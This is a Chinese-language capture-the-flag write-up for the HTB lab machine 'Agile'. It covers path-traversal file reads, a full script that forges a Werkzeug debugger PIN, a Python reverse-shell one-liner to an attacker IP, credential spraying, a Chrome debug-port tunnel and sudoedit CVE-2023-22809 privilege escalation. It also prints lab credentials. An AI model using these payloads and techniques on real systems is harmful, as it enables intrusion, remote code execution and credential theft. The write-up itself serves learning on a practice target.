Linux/Agile

news2024/12/23 14:08:00

Agile

Enumeration

Nmap

扫描发现对外开放了22和80端口,使用nmap详细扫描这两个端口

nmap -sC -sV -oA Agile.nmap -p 22,80 10.10.11.203

详细扫描22和80端口,22端口运行着ssh服务,80端口运行着http服务,nmap揭示了域名superpass.htb,将其添加到/etc/hosts

Web

访问网站,可以看到该网站是一个密码管理器,可以注册并登录以管理密码

接下来尝试注册一个账号,并使用该账号登录系统

注册后会自动登录,跳转至/vault

点击Add a password,会打开一个表单,表单中已经自动填写了Password,填写site为www.test.com,填写username为vegetable后保存

保存后点击export按钮会下载一个csv文件,superpass_export.csv,内容就是刚才填写的内容

在burpsuite中查看时,发现点击export后,有一个302跳转,跳转到/download?fn=admin_export_639f3af5f2.csv

通过get参数获取文件名,可能存在任意文件读取漏洞,将请求发送到repeater,拼接url,尝试读取/etc/passwd

Exploitation

LFI to RCE in Flask Werkzeug Application

如果利用漏洞获取不存在的文件时,会进入一个debug页面,在其中,能看到Werkzeug Debugger的字样

在网上搜索一些信息时,发现Werkzeug 是最流行的 Python WSGI 实用程序框架之一。它简化了 Python 应用程序中 HTTP 连接的处理,而且还提供了一个强大的调试器,允许人们从浏览器中执行代码,并且告知主要影响的是Flask和Django框架,查看调试页面时,确实看到了flask的字样

将鼠标悬停在任意一行,在此行的最右边会出现一个小的终端图标,点击该图标会跳出一个弹窗,提示输入pin码

文章介绍如何使用LFI获取相关信息来生成PIN,hacktricks 也给出了类似的利用方式

利用LFI漏洞可以查看 Werkzeug/debug/__init__.py 文件,文件中有生成PIN的函数 get_pin_and_cookie_name,而在刚才的debug页面中可以定位文件系统路径 /app/venv/lib/python3.10/site-packages/,读取源代码

hacktricks提供了一个exploit脚本,并且展示了PIN如何在Flask(特别是werkzeug模块)源中生成,靶场环境与他给的有些许差异,读取网站源代码是很有必要的

利用脚本所需要的变量分成两部分, probably_public_bits 和 private_bits,从源代码中找到相关的内容如下。为了能够成功利用exploit脚本,需要根据版本信息修改相应内容,已在代码中以注释标注

<--snip-->
probably_public_bits = [
        username,                                       #启动Flask的用户
        modname,                                        #修改为"flask.app"
        getattr(app, "__name__", type(app).__name__),   #修改为"Flask"
        getattr(mod, "__file__", None),                 #Flask目录下app.py的绝对路径                
    ]
         

<--snip-->
private_bits = [
    str(uuid.getnode()),     #当前计算机MAC地址的十进制
    get_machine_id()         #将/etc/machine-id中的值与/proc/self/cgroup中最后一个/之后的内容连接起来
    ]
<--snip-->

注:尝试后总是失败,在指南中的第三个参数getattr(app, "__name__", type(app).__name__)通常仅显示为“Flask”,但情况并非总是如此。这与 Flask 在主机上的启动方式有关,本例中,适用的应该是 wsgi_app,由 Gunicorn 提供服务

根据要求获取需要的内容

启动Flask的用户,在 /proc/self/environ 文件中可以找到,结果是 www-data,Flask目录下的app.py的绝对路径已经知道了

GET /download?fn=../../../../../../proc/self/environ

#output
USER=www-data

当前计算机MAC地址的十进制,首先找到网卡名称,然后根据网卡名称找到MAC地址

GET /download?fn=../../../../../../etc/network/interfaces

#output
source /etc/network/interfaces.d/*
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp


GET /download?fn=../../../../../../sys/class/net/eth0/address

#output
00:50:56:b9:0a:a1

然后在转化成10进制
345052351137

获取get_machine_id()部分的内容

GET /download?fn=../../../../../../etc/machine-id 

#output
ed5b159560f54721827644bc9b220d00


GET /download?fn=../../../../../../proc/self/cgroup

#output
0::/system.slice/superpass.service

get_machine_id()的值
ed5b159560f54721827644bc9b220d00superpass.service

生成PIN的python脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052351137',# str(uuid.getnode())
    'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

执行该脚本后会生成一个PIN码

将该PIN码填入最开始的弹窗中,起作用了,在命令提示符下执行命令,可以成功执行命令

kali开启监听,然后执行

importsocket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh");

敲下回车键会返回一个shell

Lateral Movement

mysql

枚举系统发现/app下有一个config_prod.json文件,里面保存了数据库的用户名和密码

成功登录数据库

在passwords表中发现了一些用户和密码

将用户名和密码分别保存,使用crackmapexec来爆破

crackmapexec ssh 10.10.11.203 -u user -p pass

可以看到corum:5db7caa1d13cc37c9fc2是起作用的

使用ssh登录系统,可以发现user.txt

进一步枚举系统,发现在/app/app-testing/tests/functional目录中有一个creds.txt。但是权限不够打不开,可以打开test_site_interactively.py文件

python文件读取了我们没法读取的creds.txt,加载了selenium web,用读取的creds.txt中的用户名和密码登陆了http://test.superpass.htb,进行了一些测试

import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait


with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')
    
    
@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()


def test_login(driver):
    print("starting test_login")
    driver.get('http://test.superpass.htb/account/login')
    time.sleep(1)
    username_input = driver.find_element(By.NAME, "username")
    username_input.send_keys(username)
    password_input = driver.find_element(By.NAME, "password")
    password_input.send_keys(password)
    driver.find_element(By.NAME, "submit").click()
    time.sleep(3)
    title = driver.find_element(By.TAG_NAME, "h1")
    assert title.text == "Welcome to your vault"


def test_add_password(driver):
    print("starting test_add_password")
    driver.find_element(By.NAME, "add_password").click()
    time.sleep(3)
    site = driver.find_element(By.NAME, "url")
    site.send_keys("test_site")
    username = driver.find_element(By.NAME, "username")
    username.send_keys("test_user")
    driver.find_element(By.CLASS_NAME, "fa-save").click()
    time.sleep(3)

    assert 'test_site' in driver.page_source
    assert 'test_user' in driver.page_source


def test_del_password(driver):
    print("starting test_del_password")
    password_rows = driver.find_elements(By.CLASS_NAME, "password-row")

    for row in password_rows:
        if "test_site" == row.find_elements(By.TAG_NAME, "td")[1].text and \
            "test_user" == row.find_elements(By.TAG_NAME, "td")[2].text:
            row.find_element(By.CLASS_NAME, "fa-trash").click()

    time.sleep(3)
    assert 'test_site' not in driver.page_source
    assert 'test_user' not in driver.page_source


def test_title(driver):
    print("starting test_title")
    driver.get('http://test.superpass.htb')
    time.sleep(3)
    assert "SuperPassword 🦸" == driver.title


def test_long_running(driver):
    print("starting test_long_running")
    driver.get('http://test.superpass.htb')
    time.sleep(550)
    #time.sleep(5)
    assert "SuperPasword 🦸" == driver.title

从nginx配置文件中,看到测试网站运行在127.0.0.1:5555

因为没有登录凭据知道这个也没啥用,而Selenium 是一个基于 Chrome 的 Web 驱动程序,它通常打开一个调试端口,用于调试应用程序,看到debug端口是41829

chrome debug

使用ssh隧道转发该端口到本地

ssh -L 41829:127.0.0.1:41829 corum@10.10.11.203

然后需要使用chrome浏览器,访问chrome://inspect

在配置中加入下面的配置

如果操作正确,远程目标部分会弹出一个新条目

单击inspect,将弹出一个新窗口

点击vault,可以看到保存的所有密码

在Vault中,我们可以看到用户edwards的agile密码,其值为d07867c6267dcb5df0af,可以使用这个密码来切换到这个用户

Privilege Escalation

CVE-2023-22809

检查sudo -l,用户 Edward 可以以用户 dev_admin 的身份对两个特定文件运行 sudoedit

尝试搜索关键字sudoedit,发现了一个漏洞

搜索发现sudo版本1.8.0-1.9.12p1是受影响的,查看目标sudo的版本信息,在受影响范围内

根据提示此漏洞允许在用户提供的环境变量中提供额外的参数,从而允许攻击者访问配置允许的其他文件。随后在 /app 中发现的 test_and_upgrade.sh 脚本中显示有如下命令,注释也提到系统源代码不能用于cron

# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate

查看 /etc/bash.bashrc 文件,可以看到在 /etc/bash.bashrc也存在该命令,每次用户登录系统时都会执行该文件

edwards@agile:/app$ cat /etc/bash.bashrc
# System-wide .bashrc file for interactive bash(1) shells.
<--snip-->
# all users will want the env associated with this application
source /app/venv/bin/activate

可以看到该文件由root和dev_admin组拥有

edwards@agile:/$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Jan 25 18:24 /app/venv/bin/activate

尝试往文件中写东西,执行指令打开编辑器

在打开的编辑器中插入如下代码后保存

之后,在/tmp 目录下就会生成一个 veg文件,执行./veg -p 即可获取root权限

over!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1536177.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue中循环数据,添加展开、收起操作

1.在data中定义变量 expandedIndex&#xff0c;默认展开第一条 expandedIndex:0,2.标题栏展开、收起显示判断&#xff0c;并填加点击事件 toggleVisibility <h5 class"titleLine">{{item.checkPart}} <span click"toggleVisibility(index)">…

怎么建设数据中台?详解数据中台架构内的三大平台

一、什么是数据中台&#xff1f; 要知道“中台”是什么&#xff0c;就得先了解“前台”和“后台”。 前台&#xff0c;就是我们日常使用的过程中可以直接看到和感知到的东西&#xff0c;比如你打开某东app买了个3080显卡&#xff0c;在这个过程中你看到的页面以及搜索、点击详…

Java学习笔记20——枚举类型的创建与使用

在实际编程中&#xff0c;存在着这样的“数据集”&#xff0c;它们的数值在程序中是稳定的并且个数是有限的。例如春、夏、秋、冬四个数据元素组成了四季的“数据集”&#xff0c;一月到十二月组成了十二个月份的“数据集”&#xff0c;周一到周五及周六周日组成了每周七天的“…

了解交换机上的SFP和QSFP端口

在当今互联的世界中&#xff0c;可靠、高效的网络通信对于企业的蓬勃发展至关重要。为了实现顺畅的连接&#xff0c;了解能够实现该目标的技术非常重要。其中一项关键技术是交换机上的SFP和QSFP端口。本文将简要介绍这些概念&#xff0c;定义并解释交换机SFP端口和QSFP端口的优…

面试官:对于 Java 中多态的理解是什么?

面试官&#xff1a;对于 Java 中多态的理解是什么&#xff1f; 题目 面试官&#xff1a;对于 Java 中多态的理解是什么&#xff1f; 推荐解析 1.父类的引用指向子类的对象 子类重写父类的方法&#xff1a;子类可以继承父类的方法&#xff0c;并对其进行重写。当通过父类的…

Python炒股自动化(5):通过接口查询订单,查询账户资产

上一节我们演示了报单撤单&#xff0c;也叫提交委托和撤销委托&#xff0c;我习惯说下单撤单&#xff0c;与交易所建立连接这里不演示了&#xff0c;没看的可以点下面链接了解一下 Python炒股自动化&#xff08;4&#xff09;&#xff1a;通过接口向交易所发送订单https://cai…

关于msvcp140.dll丢失的解决方法详情介绍,修复dll文件的安全注意事项

在使用电脑的过程中&#xff0c;是否有遇到过关于msvcp140.dll丢失的问题&#xff0c;遇到这样的问题你是怎么解决的&#xff0c;都有哪些msvcp140.dll丢失的解决方法是能够完美解决msvcp140.dll丢失问题的&#xff0c;今天小编将带大家去了解msvcp140.dll文件以及分析完美解决…

2024年是否值得投资购买Photoshop?优势与劣势解析

相信所有的设计师都是对的 Adobe Photoshop 非常熟悉&#xff0c;它是一款专业的照片编辑软件应用程序。如果您有兴趣购买&#xff0c;请购买。 Adobe Photoshop&#xff0c;也许你想知道Adobe Photoshop价格。Adobe Photoshop的价格反映了它强大的使用价值&#xff0c;下面是不…

Vuex状态、数据持久化(vue2、vue3状态数据持久化)

简介&#xff1a;Vuex是一个仓库&#xff0c;是vue的状态管理工具&#xff0c;存放公共数据&#xff0c;任何组件都可以使用vuex里的公共数据。Vuex提供了插件系统&#xff0c;允许我们使用 vuex-persistedstate插件&#xff0c;将Vuex的状态持久化到本地存储中&#xff0c;解决…

@arco.design radioGroup 组件手写 beforeChange 方法

官方是没有提供 beforeChange 事件的&#xff0c;只能自己写一个 子组件&#xff08;CustomRadioGroup&#xff09; <template><a-radio-group :model-value"modelValue" change"onRadioChange"><a-radio v-for"item in list" …

【C语言】基础(与python语法比较)

1、【C#】 printf ① 头文件stdio.h&#xff0c;② 注意语法格式&#xff0c;③ printf的文本结尾不换行&#xff0c;④ printf中参数是字符&#xff0c;其它类型可以转为文本&#xff0c;例如"%i","%f"等。 #include <stdio.h>int main(void) {in…

今日问题:动态分配内存出错

2024.3.22 在搜素了许多文章和查阅了许多博客后依然没有找到问题所在&#xff0c;最后无意之间翻看以前的关于动态内存管理的代码后发现&#xff1a; 没加头文件&#xff1a;#include<stdlib.h> 苦笑不得了属于是 #define _CRT_SECURE_NO_WARNINGS 1 #include<stdio…

抖音,剪映,TikTok,竖屏短视频转场pr模板视频素材

120个叠加效果视频转场过渡素材&#xff0c;抖音,剪映,TikTok,短视频转场pr模板项目工程文件。 效果&#xff1a;VHS、光效、胶片、霓虹灯闪光、X射线、信号、老电影等。 适用软件&#xff1a;Adobe Premiere Pro 2018 12.0或更高版本。 视频素材与大多数应用程序兼容&#xff…

JavaWeb:AOP、配置优先级、Bean管理、SpringBoot原理、Maven高级

1 AOP 1.1 基本语法 面向切面编程、面向方面编程&#xff0c;面向特定方法编程 在管理bean对象的过程中&#xff0c;主要通过底层的动态代理机制&#xff0c;对特定的方法进行编程 应用&#xff1a;统计每一个业务方法的执行耗时 xml引入依赖 <!-- AOP-->&l…

全闪存存储怎样对AI大模型赋能

随着科技的飞速发展&#xff0c;人工智能&#xff08;AI&#xff09;与机器人学习&#xff08;ML&#xff09;已经逐渐成为引领未来的核心技术。近期火爆市场的Chat GPT AI大模型深度结合AI与机器人学习技术&#xff0c;实现人机交流、学术研究、内容创作等应用&#xff0c;国内…

【进阶五】Python实现SDVRP(需求拆分)常见求解算法——禁忌搜索+模拟退火算法(TS+SA)

基于python语言&#xff0c;采用经典禁忌搜索&#xff08;TS&#xff09;模拟退火&#xff08;SA&#xff09;对 需求拆分车辆路径规划问题&#xff08;SDVRP&#xff09; 进行求解。 目录 往期优质资源1. 适用场景2. 代码调整3. 求解结果3.1 TS3.2 SA 4. 代码片段参考 往期优质…

迷宫(蓝桥杯)——DFS和BFS

迷宫 题目描述 下图给出了一个迷宫的平面图&#xff0c;其中标记为 1 的为障碍&#xff0c;标记为 0 的为可以通行的地方。 010000 000100 001001 110000迷宫的入口为左上角&#xff0c;出口为右下角&#xff0c;在迷宫中&#xff0c;只能从一个位置走到这 个它的上、下、左…

表格列内容过长显示省略号,并悬浮展示信息

自定义全局指令&#xff1a; 指定超出行数的内容&#xff0c;以省略号替代。 // main.ts import App from ./App.vue;const app createApp(App);// 自定义指令app.directive(textOverflow, {mounted(el, binding, vnode) {const maxRows binding.value || 3;// 添加样式vnod…

哪些因素决定SSL证书的定价?DV、OV和EV证书多少钱?

在当前网络环境安全问题日益凸显的时代背景下&#xff0c;SSL证书已成为保障网站及用户数据传输安全的核心手段。然而&#xff0c;由于不同供应商、证书类型和功能差异&#xff0c;SSL证书的价格存在较大浮动空间。本文将概述SSL证书的基本定价范围及其决定因素&#xff0c;为选…

什么快递可以寄摩托车?看你要啥样的了

一辆49cc的二冲程摩托车仅需561元。 购买125的组装车不会超过1元&#xff0c;购买250品牌发动机的组装车不会超过4000元。 购买一辆名牌摩托车大约需要4000到10000元。 花一万到两百万多就能买到一辆像样、动力强劲、能玩的炫酷摩托车。 哈哈&#xff0c;就看你想要什么了&…